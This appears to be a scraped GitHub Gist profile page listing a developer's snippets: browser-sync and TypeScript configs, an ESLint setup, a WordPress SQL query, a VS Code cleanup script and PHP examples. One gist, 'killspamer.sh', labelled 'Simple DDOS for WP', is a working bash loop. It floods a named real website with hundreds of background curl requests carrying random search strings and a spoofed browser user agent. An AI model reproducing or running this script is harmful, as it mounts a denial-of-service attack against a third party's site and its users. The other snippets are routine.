Skip to content

Instantly share code, notes, and snippets.

Avatar
🎯
Focusing

Konrad fedek6

🎯
Focusing
View GitHub Profile
@fedek6
fedek6 / browser-sync.sh
Created Jul 19, 2021
Browser sync example for simple and quick proxy to local project
View browser-sync.sh
browser-sync start --proxy "localhost:3000" --no-ui --port 3001
@fedek6
fedek6 / index.ts
Created Jun 24, 2021
Working TypeScript debug example for Visual Studio Code
View index.ts
// src/index.ts
import { lubiePlacki } from "./placki";
function printMessage(msg: string): void {
console.log(`Message: ${msg}`);
}
printMessage("Hello, TypeScript");
debugger;
lubiePlacki();
@fedek6
fedek6 / tsconfig.json
Created Jun 24, 2021
Working tsconfig for Node 15
View tsconfig.json
{
"compilerOptions": {
"target": "es2018",
"outDir": "./dist",
"rootDir": "./src",
"noEmitOnError": true,
"module": "commonjs"
}
}
@fedek6
fedek6 / .eslintrc.js
Created Jun 16, 2021
How to create react app with Typescript, ESlint, Prettier and Airbnb config (using yarn).
View .eslintrc.js
module.exports = {
env: {
browser: true,
es2021: true,
},
extends: [
"plugin:react/recommended",
"airbnb",
"plugin:import/typescript",
"prettier",
View export_tags.sql
SELECT wp_terms.`term_id` AS TagID, wp_terms.`name` AS TagName, SUM( tax.`count` ) AS TagPostCount
FROM `wp_terms`
INNER JOIN wp_term_taxonomy tax ON tax.term_id = wp_terms.term_id
GROUP BY wp_terms.`term_id`;
@fedek6
fedek6 / killspamer.sh
Created May 6, 2021
Simple DDOS for WP
View killspamer.sh
#!/bin/bash
while :
do
echo "Press [CTRL+C] to stop..."
URL=$(cat /dev/urandom | env LC_CTYPE=C tr -dc a-zA-Z0-9 | head -c 16; echo)
for i in {1..100}
do
curl https://goldenliine.pl/?s=$URL --max-time 2 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36" &> /dev/null &
curl https://goldenliine.pl/movies/$URL --max-time 2 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36" &> /dev/null &
@fedek6
fedek6 / clean-vsc.sh
Created Apr 8, 2021
Clean Visual Studio Code settings (macOS)
View clean-vsc.sh
#!/bin/sh
rm -rfv "$HOME/.vscode"
rm -rfv "$HOME/Library/Application Support/Code"
rm -rfv "$HOME/Library/Caches/com.microsoft.VSCode"
rm -rfv "$HOME/Library/Saved Application State/com.microsoft.VSCode.savedState"
# Thanks goes to offby1 from stackoverflow!
@fedek6
fedek6 / synergy.conf
Created Mar 9, 2021
Synergy config for Linux -> macOS hosting (fix for altgr error)
View synergy.conf
section: screens
Fabryka:
halfDuplexCapsLock = false
halfDuplexNumLock = false
halfDuplexScrollLock = false
xtestIsXineramaUnaware = false
switchCorners = none
switchCornerSize = 0
Konrads-MacBook-Pro.local:
halfDuplexCapsLock = false
@fedek6
fedek6 / opcache-preload.php
Created Oct 30, 2020
Working WordPress opcache preloading config
View opcache-preload.php
<?php
/**
* WordPress opcache preloading.
* Requires PHP >= 7.4.
*
* @author Konrad Fedorczyk <contact@realhe.ro>
* @link https://stitcher.io/blog/preloading-in-php-74
*
* @version 1.0.0
*/
@fedek6
fedek6 / between_dates.php
Created Jul 22, 2019
Do something between exact two dates in PHP
View between_dates.php
<?php
$showDate = "2019-07-16 20:00:00.0";
$hideDate = "2019-07-22 20:00:00.0";
$timezone = new DateTimeZone('Europe/Warsaw');
$now = new DateTime();
$now->setTimezone($timezone);
// If in timeframe
if( $now > new DateTime($showDate, $timezone) && $now < new DateTime($hideDate, $timezone) ) {
do_something();